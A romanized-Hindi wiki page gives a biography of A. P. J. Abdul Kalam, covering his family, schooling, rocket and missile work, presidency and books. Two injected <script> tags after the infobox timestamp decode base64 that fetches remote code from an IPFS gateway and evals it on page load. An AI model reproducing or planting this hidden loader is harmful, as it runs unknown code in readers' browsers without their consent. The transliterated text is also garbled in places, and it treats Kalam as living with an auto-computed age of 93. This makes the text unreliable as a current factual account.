Difference between revisions of "अब्दुल कलाम"

	abdul kalam
	\|200px\|center
poora nam	avul pakir jainullabdin abdul kalam
any nam	misail main
janm	15 aktoobar, 1931 (ayu- 93 varsh)
janm bhoomi	rameshvaram, tamilanadu
abhibhavak	jainulabdin
pati/patni	avivahit
nagarikata	bharatiy
prasiddhi	bharatiy misail karyakram ke janak
pad	bharat ke 11vean rashtrapati
kary kal	25 julaee, 2002 se 25 julaee, 2007
shiksha	snatak
vidyalay	madras ianstityoot aauf tekanal aauji
bhasha	hindi, aangrezi, tamil
puraskar-upadhi	bharat ratn (1997), padm vibhooshan (1990), padm bhooshan (1981), iandira gaandhi rashtriy ekata puraskar evan deshi-videshi kee vishvavidyalayoan se manad d aauktaret ki upadhi
sanbandhit lekh	abdul kalam ke anamol vachan
pustakean	'viangs aauf fayar' (jivani), 'indiya 2020- e vizan f aaur d nyoo mileniyam', bharat ki avaz, tarniang pv aauiants, ham hoange kamayab
any janakari	d aauktar kalam ne bharat ke vikas star ko 2020 tak vijnan ke kshetr mean atyadhunik karane ke lie ek vishisht soch pradan ki. yah bharat sarakar ke 'mukhy vaijnanik salahakar' bhi rahe.
bahari k diyaan	adhikarik vebasait
adyatan‎	18:29, 13 disambar 2013 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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avul pakir jainullabdin abdul kalam (aangrezi: Avul Pakir Jainulabdeen Abdul Kalam; janm: 15 aktoobar, 1931, rameshvaram) jinhean d aau. e. pi. je. abdul kalam ke nam se jana jata hai, bharat ke poorv rashtrapati, prasiddh vaijnanik aur abhiyanta ke roop mean vikhyat haian. inaka rashtrapati karyakal 25 julaee 2002 se 25 julaee 2007 tak raha. inhean misail main ke nam se bhi jana jata hai. yah ek gair rajanitik vyakti rahe hai. vijnan ki duniya mean chamatkarik pradarshan ke karan hi rashtrapati bhavan ke dvar inake lie svat: khul ge. jo vyakti kisi kshetr vishesh mean sarvashreshth pradarshan karata hai, usake lie sab sahaj ho jata hai aur kuchh bhi durlabh nahian rahata. abdul kalam is uddharan ka pratinidhitv karate nazar ate haian. inhoanne vivah nahian kiya hai. inaki jivan gatha kisi rochak upanyas ke nayak ki kahani se kam nahian hai. chamatkarik pratibha ke dhani abdul kalam ka vyaktitv itana unnat hai ki vah sabhi dharm, jati evan sampradayoan ke vyakti nazar ate haian. yah ek aise svikary bharatiy haian, jo sabhi ke lie 'ek mahan adarsh' ban chuke haian. vijnan ki duniya se desh ka pratham nagarik banana kapol kalpana matr nahian hai kyoanki yah ek jivit praneta ki satyakatha hai.

jivan parichay

abdool kalam ka poora nam 'd aauktar avul pakir jainullabdin abdul kalam' hai. inaka janm 15 aktoobar 1931 ko rameshvaram tamilanadu mean hua. dvip jaisa chhota sa shahar prakritik chhata se bharapoor tha. shayad isilie abdul kalam ji ka prakriti se bahut ju dav raha hai. thumb|left|kishoravastha mean abdul kalam rameshvaram ka prakritik saundary samudr ki nikatata ke karan sadaiv bahut darshaniy raha hai. inake pita 'jainulabdin' n to zyada padhe-likhe the, n hi paise vale the. ve navik the, aur niyam ke bahut pakke the. inake pita machhuaroan ko nav kiraye par diya karate the. inake sanbandh rameshvaram ke hindoo netaoan tatha adhyapakoan ke sath kafi snehapoorn the. abdul kalam ne apani aranbhik shiksha jari rakhane ke lie akhabar vitarit karane ka kary bhi kiya tha.

sanyukt parivar

abdul kalam sanyukt parivar mean rahate the. parivar ki sadasy sankhya ka anuman is bat se lagaya ja sakata hai ki yah svayan paanch bhaee evan paanch bahan the aur ghar mean tin parivar raha karate the. inaka kahana tha ki vah ghar mean tin jhoole (jisamean bachchoan ko rakha aur sulaya jata hai) dekhane ke abhyast the. inaki dadi maan evan maan dvara hi poore parivar ki paravarish ki jati thi. ghar ke vatavaran mean prasannata aur vedana donoan ka vas tha. inake ghar mean kitane log the aur inaki maan bahut logoan ka khana banati thian kyoanki ghar mean tin bhare-poore parivaroan ke sath-sath bahar ke log bhi hamare sath khana khate the. inake ghar mean khushiyaan bhi thian, to mushkilean bhi thi. abdul kalam ke jivan par inake pita ka bahut prabhav raha. ve bhale hi padhe-likhe nahian the, lekin unaki lagan aur unake die sanskar abdul kalam ke bahut kam ae. abdul kalam ke pita charoan vaqt ki namaz padhate the aur jivan mean ek sachche iansan the.

jivan ki ek ghatana

abdul kalam ke jivan ki ek ghatana hai, ki yah bhaee-bahanoan ke sath khana kha rahe the. inake yahaan chaval khoob hota tha, isalie khane mean vahi diya jata tha, rotiyaan kam milati thian. jab inaki maan ne inako rotiyaan zyada de dian, to inake bhaee ne ek b de sach ka khulasa kiya. inake bhaee ne alag le jakar inase kaha ki maan ke lie ek-bhi roti nahian bachi aur tumhean unhoanne zyada rotiyaan de dian. vah bahut kathin samay tha aur unake bhaee chahate the ki abdul kalam zimmedari ka vyavahar karean. tab yah apane jazbatoan par kaboo nahian pa sake aur dau dakar maan ke gale se ja lage. un dinoan kalam kaksha paanch ke vidyarthi the. inhean parivar mean sabase adhik sneh prapt hua kyoanki yah parivar mean sabase chhote the. tab gharoan mean vidyut nahian thi aur kerosin tel ke dipak jala karate the, jinaka samay ratri 7 se 9 tak niyat tha. lekin yah apani mata ke atirikt sneh ke karan padhaee karane hetu rat ke 11 baje tak dipak ka upayog karate the. abdul kalam ke jivan mean inaki mata ka bahut mahattvapoorn sthan raha hai. inaki mata ne 92 varsh ki umr paee. vah prem, daya aur sneh ki pratimoorti thian. unaka svabhav behad shalin tha. inaki mata paanchoan samay ki namaz ada karati thian. jab inhean namaz karate hue abdul kalam dekhate the to inhean roohani sukoon aur prerana prapt hoti thi. thumb|250px|abdul kalam|left jis ghar abdul kalam ka janm hua, vah aj bhi rameshvaram mean masjid marg par sthit hai. isake sath hi inake bhaee ki kalakritiyoan ki dukan bhi sanlagn hai. yahaan paryatak isi karan khianche chale ate haian, kyoanki abdul kalam ka avas sthit hai. 1964 mean 33 varsh ki umr mean d aauktar abdul kalam ne jal ki bhayanak vinashalila dekhi aur jal ki shakti ka vastavik anuman lagaya. chakravati toofan mean payaban pul aur yatriyoan se bhari ek relaga di ke sath-sath abdul kalam ka pushtaini gaanv dhanushako di bhi bah gaya tha. jab yah matr 19 varsh ke the, tab dvitiy vishv yuddh ki vibhishika ko bhi mahasoos kiya. yuddh ka davanal rameshvaram ke dvar tak pahuancha tha. in paristhitiyoan mean bhojan sahit sabhi avashyak vastuoan ka abhav ho gaya tha.

vidyarthi jivan

abdul kalam jab ath- nau sal ke the, tab se subah char baje uthate the aur snan karane ke bad ganit ke adhyapak svamiyar ke pas ganit padhane chale jate the. svamiyar ki yah visheshata thi ki jo vidyarthi snan karake nahian ata tha, vah use nahian padhate the. svamiyar ek anokhe adhyapak the aur paanch vidyarthiyoan ko prativarsh ni:shulk tyooshan padhate the. inaki mata inhean uthakar snan karati thian aur nashta karavakar tyooshan padhane bhej deti thian. abdul kalam tyoohshan padhakar sadhe paanch baje vapas ate the. usake bad apane pita ke sath namaz padhate the. phir quran sharif ka adhyayan karane ke lie vah areshik skool (madarasa) chale jate the. isake pashchatt abdul kalam rameshvaram ke relave steshan aur bas adde par jakar samachar patr ekatr karate the. is prakar inhean tin kilomitar jana p data tha. un dinoan dhanushako di se mel tren gujarati thi, lekin vahaan usaka thaharav nahian hota tha. chalati tren se hi akhabar ke bandal relave steshan par pheank die jate the. abdul kalam akhabar lene ke bad rameshvaram shahar ki s dakoan par dau d-dau dakar sabase pahale usaka vitaran karate the. abdul kalam apane bhaiyoan mean chhote the, doosare ghar ke lie tho di kamaee bhi kar leta the, isalie inaki maan ka pyar in par kuchh zyada hi tha. abdul kalam akhabar vitaran ka kary karake pratidin prat: 8 baje ghar laut ate the. inaki mata any bachchoan ki tulana mean inhean achchha nashta deti thian, kyoanki yah padhaee aur dhanarjan donoan kary kar rahe the. sham ko skool se lautane ke bad yah pun: rameshvaram jate the taki grahakoan se bakaya paisa prapt kar sakean. is prakar vah ek kishor ke roop mean bhag-dau d karate hue padhaee aur dhanarjan kar rahe the.

abdul kalam ke shabdoan mean

[[chitr:Abdul-kalam-3.jpg|thumb|250px|rameshvaramh ke masjid vali gali mean sthit d aau. kalam ka pushtaini ghar]] adhyapakoan ke sanbandh mean abdul kalam kafi khushaqismat the. inhean shikshan kal mean sadaiv do-ek adhyapak aise prapt hue, jo yogy the aur unaki kripa bhi in par rahi. yah samay 1936 se 1957 ke madhy ka tha. aise mean inhean anubhav hua ki vah apane adhyapakoan dvara age badh rahe haian. adhyapak ki pratishtha aur sarthakata abdul kalam ke shabdoan mean prastut hai:-

prathamik skool

yah 1936 ka varsh tha. mujhe yad hai ki paanch varsh ki avastha mean rameshvaram ke panchayat prathamik skool mean mera diksha-sanskar hua tha. tab mere ek shikshak 'mutthu ayyar' meri or vishesh dhyan dete the kyoanki maian kaksha mean apane kary mean bahut achchha tha. vah mujhase bahut prabhavit the. ek din vah mere ghar ae aur mere pita se kaha ki maian padhaee mean bahut achchha hooan. yah sunakar mere ghar ke sabhi log bahut khush hue aur meri pasand ki mithaee mujhe khilaee. ek vishisht ghatana jise maian kabhi nahian bhool sakata, vah thi- kaksha mean 'pratham sthan' prapt karane ki. ek bar maian skool nahian ja saka to mutthu ji mere ghar ae aur unhoanne pitaji se poochha ki koee samasya to nahian hai aur maian aj skool kyoan nahian aya? sath hi unhoanne yah bhi poochha ki kya vah koee sahayata kar sakate haian? us din mujhe jvar ho gaya tha. tab mutthu ji ne meri hastalipi ke bare mean iangit kiya jo kafi kharab thi. unhoanne mujhe tin prishth pratidin abhyas karane ka nirdesh diya. unhoanne mere pitaji se kaha ki maian pratidin yah abhyas karooan. maianne yah abhyas niyamit roop se kiya. mutthu ji ke karyoan ko dekhate hue bad mean mere pitaji ne kaha tha ki vah ek achchhe vyakti hi nahian balki hamare parivar ke bhi achchhe mitr haian.thumb|left|ramanathapuramh ka shvartj haee skool

prerana

abdul kalam 'eyarospes teknol aauji' mean ae, to isake pichhe inake paanchavian kaksha ke adhyapak 'subrahamanyam ayyar' ki prerana zarur thi. vah hamare skool ke achchhe shikshakoan mean se ek the. ek bar unhoanne kaksha mean bataya ki pakshi kaise u data hai? maian yah nahian samajh paya tha, is karan maianne iankar kar diya tha. tab unhoanne kaksha ke any bachchoan se poochha to unhoanne bhi adhikaanshat: iankar hi kiya. lekin is uttar se ayyar ji vichalit nahian hue. agale din ayyar ji is sandarbh mean hamean samudr ke kinare le ge. us prakritik drishy mean kee prakar ke pakshi the, jo sagar ke kinare utar rahe the aur u d rahe the. tatpashchatt unhoanne samudri pakshiyoan ko dikhaya, jo 10-20 ke jhund mean u d rahe the. unhoanne samudr ke kinare maujood pakshiyoan ke u dane ke sanbandh mean pratyek kriya ko sakshat anubhav ke adhar par samajhaya. hamane bhi b di bariki se pakshiyoan ke sharir ki banavat ke sath unake u dane ka dhang bhi dekha. is prakar hamane vyavaharik prayog ke madhyam se yah sikha ki pakshi kis prakar u d pane mean saphal hota hai. isi karan hamare yah adhyapak mahan the. vah chahate to hamean maukhik roop se samajhakar hi apane kartavy ki itishri kar sakate the lekin unhoanne hamean vyavaharik udaharan ke madhyam se samajhaya aur kaksha ke ham sabhi bachche samajh bhi ge. mere lie yah matr pakshi ki u dan tak ki hi bat nahian thi. pakshi ki vah u dan mujhamean sama gee thi. mujhe mahasoos hota tha ki maian rameshvaram ke samudr tat par hooan. us din ke bad maianne soch liya tha ki meri shiksha kisi n kisi prakar ke u dan se sanbandhit hogi. us samay tak maian nahian samajha tha ki maian 'u dan vijnan' ki disha mean agrasar hone vala hooan. vaise us ghatana ne mujhe prerana di thi ki maian apani ziandagi ka koee lakshy nirdharit karooan. usi samay maianne tay kar liya tha ki u dan mean kariyar banaooanga. [[chitr:Abdul-Kalam-geoge-bush-manmohan-singh.jpg|thumb|300px|amerika ke poorv rashtrapati j aaurj bush, bharatiy pradhanamantri manamohan sianh ke sath abdul kalam]]

uchch shiksha

ek din maianne apane adhyapak 'shri siva subrahamanyam ayyar' se poochha ki shriman! mujhe yah bataean ki meri age ki unnati u dan se sanbandhit rahate hue kaise ho sakati hai? tab unhoanne dhairyapoorvak javab diya ki maian pahale athavian kaksha uttirn karooan, phir haee skool. tatpashchat k aaulej mean mujhe u dan se sanbandhit shiksha ka avasar prapt ho sakata hai. yadi maian aisa karata hooan to u dan vijnan ke sath ju d sakata hooan. in sab batoan ne mujhe jivan ke lie ek manzil aur uddeshy bhi pradan kiya. jab maian k aaulej gaya to maianne bhautik vijnan vishay liya. jab maian abhiyaantriki ki shiksha ke lie 'madras ianstityoot aauf teknol aauji' mean gaya to maianne eyaron aautikal ianjiniyariang ka chunav kiya. is prakar meri zindagi ek 'r aauket ianjiniyar', 'eyarospes ianjiniyar' aur 'takaniki karmi' ki or unmukh huee. vah ek ghatana jisake bare mean mere adhyapak ne mujhe pratyaksh udaharan se samajhaya tha, mere jivan ka mahattvapoorn bindu ban gee aur aantat: maianne apane vyavasay ka chunav bhi kar liya.

advitiy vyakhyan

ab maian apane ganit ke adhyapak 'prophesar dodatri ayangar' ke vishay mean charcha karana chahooanga. vijnan ke chhatr ke roop mean mujhe 'seant joseph k aaulej' mean devata ke saman ek vyakti ko prati subah dekhane ka avasar prapt hota tha, jo vidyarthiyoan ko ganit padhaya karate the. bad mean mujhe unase ganit padhane ka avasar prapt hua. unhoanne meri pratibha ko bahut had tak nikhara. maianne unaki kaksha mean adhunik bijaganit, saankhyiki aur k aauanmpaleks veriebals ka adhyayan kiya. 1952 mean inhoanne ek advitiy vyakhyan diya, jo bharat ke prachin ganitajnoan evan khagolavijnoan ke sanbandh mean tha. is vyakhyan mean inhoanne bharat ke char ganitajnoan evan khagolavijnoan ke bare mean bataya tha, jo is prakar the- aryabhatt, shrinivas ramanujan, brahmagupt aur bhaskarachary. thumb|left|abdul kalam isake alava em.aee.ti.'prophesar shrinivas' (jo dayarektar bhi the) ka bhi kafi yogadan raha abdul kalam ki pratibha nikharane mean. inake vishay mean abdul kalam ne kaha tha:- shikshak ko ek prashikshak bhi hona chahie- prophesar shrinivasan ki bhaanti.'

karyakshetr

1962 mean ve 'bharatiy aantariksh anusandhan sangathan' mean aye. d aauktar abdul kalam ko projekt dayarektar ke roop mean bharat ka pahala svadeshi upagrah (es.el.vi. tritiy) prakshepastr banane ka shrey hasil hai. julaee 1980 mean inhoanne rohini upagrah ko prithvi ki kaksha ke nikat sthapit kiya tha. is prakar bharat bhi 'aantarrashtriy aantariksh klab' ka sadasy ban gaya. 'isaro l aaunch vhikal program' ko paravan chadhane ka shrey bhi inhean pradan kiya jata hai. d aauktar kalam ne svadeshi lakshy bhedi (gaided misails) ko dizain kiya. inhoanne agni evan prithvi jaisi misails ko svadeshi takanik se banaya tha. d aauktar kalam julaee 1992 se disambar 1999 tak raksha mantri ke 'vijnan salahakar' tatha 'suraksha shodh aur vikas vibhag' ke sachiv the. unhoanne stretejik misails sistam ka upayog agneyastroan ke roop mean kiya. isi prakar pokharan mean doosari bar nyookliyar visphot bhi paramanu oorja ke sath milakar kiya. is tarah bharat ne paramanu hathiyar ke nirman ki kshamata prapt karane mean saphalata arjit ki. d aauktar kalam ne bharat ke vikas star ko 2020 tak vijnan ke kshetr mean atyadhunik karane ke lie ek vishisht soch pradan ki. yah bharat sarakar ke 'mukhy vaijnanik salahakar' bhi rahe.

vyavasayik parichay

[[chitr:Abdul-Kalam-with-nelson-mandela.jpg|thumb|250px|dakshin afrika ke poorv rashtrapati nelsan mandela ke sath abdul kalam]] d aau. abdul kalam jab ech.e.el. se ek vaimaniki ianjiniyar banakar nikale to inake pas naukari ke do b de avasar the. ye donoan hi unake barasoan purane u dan ke sapane ko poora karane vale the. ek avasar bharatiy vayusena ka tha aur doosara raksha mantralay ke adhin takaniki vikas evan utpadan nideshalay, ka tha. unhoanne donoan jagahoan par sakshatkar diya. ve raksha mantralay ke takaniki vikas evan utpadan nideshalay mean chun lie ge. sanh 1958 mean inhoanne 250 roope ke mool vetan par nideshalay ke takaniki keandr (uddayan) mean varishth vaijnanik sahayak ke pad par kam sanbhal liya. nideshalay mean naukari ke pahale sal ke dauran inhoanne aphisar-iancharj ar. varadarajan ki madad se ek altrasonik lakshyabhedi viman ka dijain taiyar karane mean saphalata hasil kar li. vimanoan ke rakh-rakhav ka anubhav hasil karane ke lie inhean eyarakr aaupht end armameant testiang yoonit, kanapur bheja gaya. us samay vahaan em.ke.-1 viman ke parikshan ka kam chal raha tha. isaki karyapranaliyoan ke moolyaankan ko poora karane ke kam mean inhoanne bhi hissa liya. vapas ane par inhean bangalaur mean sthapit vaimaniki vikas pratishthan mean bhej diya gaya. yahaan grauand ikvipameant mashin ke roop mean svadeshi hovarakr aaupht ka dijain tatha vikas karane ke lie ek tim banaee gee. vaijnanik sahayak ke star par isamean char log shamil the, jisaka netritv karane ka karyabhar nideshak d aau. o. pi. mediratta ne d aau. kalam par sauanpa. u dan mean ianjiniyariang m aaudal shuroo karane ke lie inhean tin sal ka vakt diya gaya. bhagavanh shiv ke vahan ke pratik roop mean is hovarakrapht ko 'nandi' nam diya gaya.

r aauket ianjiniyar ke pad par

kalantar mean d aau. abdul kalam ko iandiyan kameti ph aaur spes risarch ki or se sakshatkar ke lie bulava aya. unaka sakshatkar aantariksh karyakram ke janak d aau. vikram sarabhaee ne khud liya. is sakshatkar ke bad bharatiy aantariksh anusandhan samiti mean r aauket ianjiniyar ke pad par unhean chun liya gaya. bharatiy aantariksh anusandhan samiti mean inaka kam tata ianstityoot aph phandameantal risarch ke kanpyootar keandr mean kam shuroo kiya. sanh 1962 mean bharatiy aantariksh anusandhan samiti ne keral mean triveandram ke pas thuanba namak sthan par r aauket prakshepan keandr sthapit karane ka phaisala kiya. thuanba ko is keandr ke lie sabase upayukt sthan ke roop mean chuna gaya tha, kyoanki yah sthan prithvi ke chuanbakiy aksh ke sabase qarib tha. usake bad shighr hi d aau. kalam ko r aauket prakshepan se ju di takaniki batoan ka prashikshan prapt karane ke lie amerika mean neshanal eyaron aautiks eand spes edaministreshan yani 'nasa' bheja gaya. yah prashikshan chhah mahine ka tha. jaise hi d aau. abdul kalam nasa se laute, 21 navanbar, 1963 ko bharat ka 'naik-apache' nam ka pahala r aauket chho da gaya. yah sauandiang r aauket nasa mean hi bana tha. d aau. sarabhaee ne rato pariyojana ke lie d aau. kalam ko projekt lidar niyukt kiya. d aau. kalam ne vishesh vittiy shaktiyaan hasil ki, pranali vikasit ki tatha 8 aktoobar 1972 ko uttar pradesh mean bareli eyaraphors steshan par is pranali ka saphalatapoorvak parikshan kiya gaya.^[1]

eselavi-3 pariyojana ke prabandhak

unake jivan ka agala b da avasar tab aya jab d aau. abdul kalam ko bharat ke saitelait laanch vehikal (es.el.vi.) pariyojana ka prabandhak banaya gaya. pariyojana pramukh ke roop mean namaankit karana ek samman bhi tha aur chunauti bhi thi. es.el.vi.-3 pariyojana ka mukhy uddeshy ek bharosemand pramochan yan vikasit karana tha jo 40 kilogram ke ek upagrah ko prithvi se 400 kilomitar ki ooanchaee vali kaksha mean sthapit kar sake. isamean ek b da kam tha yan ke char charanoan ke lie ek r aauket motar sistam ka vikas. haee enarji propeleant ke istemal mean saksham r aauket motar sistam mean istemal ke lie 8.5 tan propeleant gren nirmit kiya jana tha. ek any kary tha niyantran tatha margadarshan. yah ek b di pariyojana thi jisamean do sau pachas up-bhag aur chalis b di upapranaliyaan shamil thian. sabhi gatividhiyoan mean talamel baithana aur tim ka kushal netritv karana d aau. kalam ke lie ek chunauti thi. aantatah k di mehanat ke bad 18 julaee, 1980 ko subah ath bajakar tin minat par shriharikota r aauket prakshepan keandr se es.el.vi.-3 ne saphal u dan bhari. is pariyojana ki saphalata ne d aau. abdul kalam ko rashtriy pahachan di. is upalabdhi ke lie unhean bharat sarakar dvara 26 janavari 1981 ko 'padmabhooshan' se sammanit kiya gaya.^[1]

vishesh yogadan

faravari 1982 mean d aau. abdul kalam ko di.ar.di.el ka nideshak niyukt kiya gaya. usi samay anna vishvavidyalay, madras ne inhean 'd aauktar aph saians' ki manak upadhi se sammanit kiya. eyaron aautikal ianjiniyariang mean digri hasil karane ke qarib bis sal bad yah manad upadhi d aau. abdul kalam ko prapt huee. d aau. abdul kalam ne rakshamantri ke tatkalin vaijnanik salahakar d aau. vi. es. aroonachalam ke margadarshan mean iantigreted gaided misail devalapameant program (aee.ji.em.di.pi.) ka prastav taiyar kiya. svadeshi misailoan ke vikas ke lie ek spasht aur suparibhashit misail karyakram taiyar karane ke uddeshy se d aau. abdul kalam ki adhyakshata mean ek kameti banaee gee.[[chitr:Putin-abdul-Kalam-atal-bihari.jpg|thumb|left|roos ke rashtrapati vladimir putin aur bharat ke poorv pradhanamantri atal bihari vajapeyi ke sath abdul kalam]]

misail karyakram ke janak

is pariyojana ke pratham charan mean ek nichi ooanchaee par turant mar karane vali taiktikal kor vehikal misail aur jamin se jamin par madhyam doori tak mar sakane vali misail ke vikas evan utpadan par jor tha. doosare charan mean jamin se hava mean mar sakane vali misail, tisari pidhi ki taiankabhedi gaided misail aur d aau. abdul kalam ke sapane ri-eantri eksaperimeant lanch vehikal (reks) ka prastav rakha gaya tha. jamin se jamin par mar karane vali misail pranali ko 'prithvi' aur taiktikal kor vehikal misail ko 'trishool' nam diya gaya. jamin se hava mean mar karane vali raksha pranali ko 'akash' aur taiankarodhi misail pariyojana ko 'nag' nam diya gaya. d aau. abdul kalam ne apane man mean sanjoe reks ke bahupratikshit sapane ko 'agni' nam diya. 27 julaee, 1983 ko aee.ji.em.di.pi. ki aupacharik roop se shurooat ki gee. misail karyakram ke aantargat pahali misail ka prakshepan 16 sitanbar, 1985 ko kiya gaya. is din shriharikota sthit parikshan reanj se 'trishool' ko chho da gaya. yah ek tej pratikriya pranali hai jise nichi u dan bharane vale vimanoan, helik aauptaroan tatha vimanabhedi misailoan ke khilaf istemal kiya ja sakata hai. 25 pharavari, 1988 ko din mean 11bajakar 23 minat par 'prithvi' ko chho da gaya. yah desh mean r aauket vijnan ke itihas mean ek yugaantarakari ghatana thi. yah 150 kilomitar tak 1000 kilogram paranparik visphotak samagri le jane ki kshamata vali jamin se jamin par mar karane vali misail hai. 22 mee, 1989 ko 'agni' ka prakshepan kiya gaya. yah lanbi doori ke phlait vehikal ke lie ek takaniki pradarshak tha. sath hi 'akash' pachas kilomitar ki adhikatam aantarrodhi reanjavali madhyam ki vayu-raksha pranali hai. usi prakar 'nag' taiank bhedi misail hai, jisamean 'dago aur bhool jao' tatha oopar se akraman karane ki kshamataean haian. d aau. abdul kalam ki pahal par bharat dvara ek roosi kanpani ke sahayog se suparasonik krooj misail banane par kam shuroo kiya gaya. pharavari 1998 mean bharat aur roos ke bich samajhaute ke anusar bharat mean brahmos praivet limited ki sthapana ki gee. 'brahmos' ek suparasonik krooz misail hai jo dharati, samudr, tatha hava, kahian bhi dagi ja sakati hai. yah poori duniya mean apane tarah ki ek khas misail hai jisamean anek khoobiyaan haian. varsh 1990 ke ganatantr divas ke avasar par rashtr ne apane misail karyakram ki saphalata par khushi manaee. d aau. abdul kalam aur d aau. aroonachalam ko bharat sarakar dvara 'padm vibhooshan' se sammanit kiya gaya.^[1]

pustakean

thumb|200px|'viangs aauf phayar' abdul kalam ki atmakatha d aauktar kalam ne sahityik roop se bhi apane shodh ko char utkrisht pustakoan mean samahit kiya hai, jo is prakar haian-

'viangs aauf phayar'
'indiya 2020- e vizan f aaur d nyoo mileniyam'
'maee jarni'
'ignatid maiands- analishiang d p aauvar vidin iandiya'.
mahashakti bharat
hamare path pradarshak
ham hoange kamayab
adamy sahas
chhua asaman
bharat ki avaz
tarniang pv aauiants

in pustakoan ka kee bharatiy tatha videshi bhashaoan mean anuvad ho chuka hai. inhoanne apani jivani 'viangs aauf phayar' bharatiy yuvaoan ko margadarshan pradan karane vale aandaz mean likhi hai. inaki doosari pustak 'gaidiang sols- dayal aaugs aauf d parpaz aauf laiph' atmik vicharoan ko udghatit karati hai inhoanne tamil bhasha mean kavitaaian bhi likhi haian. dakshini koriya mean inaki pustakoan ki kafi maang hai aur vahaan inhean bahut adhik pasand kiya jata hai.

rajanitik jivan

d aauktar abdul kalam rajanitik kshetr ke vyakti nahian haian lekin rashtravadi soch aur rashtrapati banane ke bad bharat ki kalyan sanbandhi nitiyoan ke karan inhean kuchh had tak rajanitik drishti se sampann mana ja sakata hai. inhoanne apani pustak 'indiya 2020' mean apana drishtikon spasht kiya hai. yah bharat ko aantariksh vijnan ke kshetr mean duniya ka siramaur rashtr banate dekhana chahate haian aur isake lie inake pas ek kary yojana bhi hai. paramanu hathiyaroan ke kshetr mean yah bharat ko supar p aauvar banane ki bat sochate rahe haian. vah vijnan ke any kshetroan mean bhi takaniki vikas chahate haian. d aauktar kalam ka kahana hai ki 's aauftaveyar' ka kshetr sabhi varjanaoan se mukt hona chahie taki adhikadhik log isaki upayogita se labhaanvit ho sakean. aise mean soochana takanik ka tivr gati se vikas ho sakega. vaise inake vichar shaanti aur hathiyaroan ko lekar vivadaspad haian. is sanbandh mean inhoanne kaha hai- "2000 varshoan ke itihas mean bharat par 600 varshoan tak any logoan ne shasan kiya hai. yadi ap vikas chahate haian to desh mean shaanti ki sthiti hona avashyak hai aur shaanti ki sthapana shakti se hoti hai. isi karan misailoan ko vikasit kiya gaya taki desh shakti sampann ho."thumb|left|250px|bachchoan ke sath abdul kalam

rashtrapati pad par

d aauktar abdul kalam bharat ke gyaravean rashtrapati nirvachit hue the. inhean bharatiy janata parti samarthit en.di.e. ghatak daloan ne apana ummidavar banaya tha jisaka vamadaloan ke alava samast daloan ne samarthan kiya. 18 julaee, 2002 ko d aauktar kalam ko nabbe pratishat bahumat dvara 'bharat ka rashtrapati' chuna gaya tha aur inhean 25 julaee 2002 ko sansad bhavan ke ashok kaksh mean rashtrapati pad ki shapath dilaee gee. is sankshipt samaroh mean pradhanamantri atal bihari vajapeyi, unake mantrimandal ke sadasy tatha adhikarigan upasthit the. inaka karyakal 25 julaee 2007 ko samapt hua. bharatiy janata parti mean inake nam ke prati sahamati n ho pane ke karan yah dobara rashtrapati nahian banae ja sake.

vyaktitv evan krititv

itane mahattavapoorn vyakti ke bare mean kuchh bhi kahana saral nahian hai. veshabhoosha, bolachal ke lahaje, achchhe-khase sarakari avas ko chho dakar h aaustal ka sadagipoorn jivan, ye batean unake sanpark mean ane vale pratyek vyakti par ek sammohak prabhav chho dati haian. d aau. kalam ek bahuayami vyaktitv ke dhani haian. vijnan, praudyogiki, desh ke vikas aur yuva mastishkoan ko prajjvalit karane mean apani tallinata ke sath sath ve paryavaran ki chianta bhi khoob karate haian, sahity mean roochi rakhate haian, kavita likhate haian, vina bajate haian, tatha adhyatm se bahut gahare ju de hue haian. d aau. kalam mean apane kam ke prati jabardast divanagi hai. unake lie koee bhi samay kam ka samay hota hai. vah apana adhikaansh samay karyalay mean bitate haian. der sham tak vibhinn karyakramoan mean d aau. kalam ki sakriyata tatha sphoorti kabiletariph hai. oorja ka aisa pravah keval gahari pratibaddhata tatha samarpan se hi a sakata hai. d aau. kalam khanapan mean poornat: shakahari vyakti haian. ve madirapan se bilakul parahej karate haian. unaka niji jivan anukaraniy hai. d aau. kalam ki yadadasht bahut tej hai. ve ghatanaoan tatha batoan ko yad rakhate haian.^[1][[chitr:Dr.kalam-with indira gandhi.png|thumb|300px|iandira gaandhi ko es.el.vi.-3 ke bare mean janakari dete hue d aau. kalam]]

sarvadharm samabhav ke pratik

d aau. kalam batachit mean b de vinodapriy svabhav ke haian. apani bat ko b di saralata tatha saphagoee se samane rakhate haian. pray: unaki batoan mean hasy ka put hota hai. lekin bat bahut satik taur par karate haian. d aau. kalam sabhi muddoan ko manaviyata ki kasauti par parakhate haian. unake lie jati, dharm, varg, samuday mayane nahian rakhate. ve sarvadharm samabhav ke pratik haian. vah iansan ke jivan ko ooancha uthana chahate haian. use behatari ki or le jana chahate haian. unaka manavatavad manushyoan ki samanata ke adharabhoot siddhaant par adharit hai. 25 julaee, 2002 ki sham ko bharat ke rashtrapati ka sarvochch pad sanbhalane ke din ghatit ek bat se ise achchhi tarah samajha ja sakata hai. us din rashtrapati bhavan mean ek prarthana sabha ayojit ki gee thi jisamean rameshvaramh masajid ke maulavi, rameshvaramh mandir ke pujari, seant joseph k aaulej ke ph aaudar rektar tatha any logoan ne bhag liya tha. unake bare mean jo pahaloo sabase kam pracharit hai vah hai unaki udarata ya paropakar ki bhavana.^[1]

samaj seva

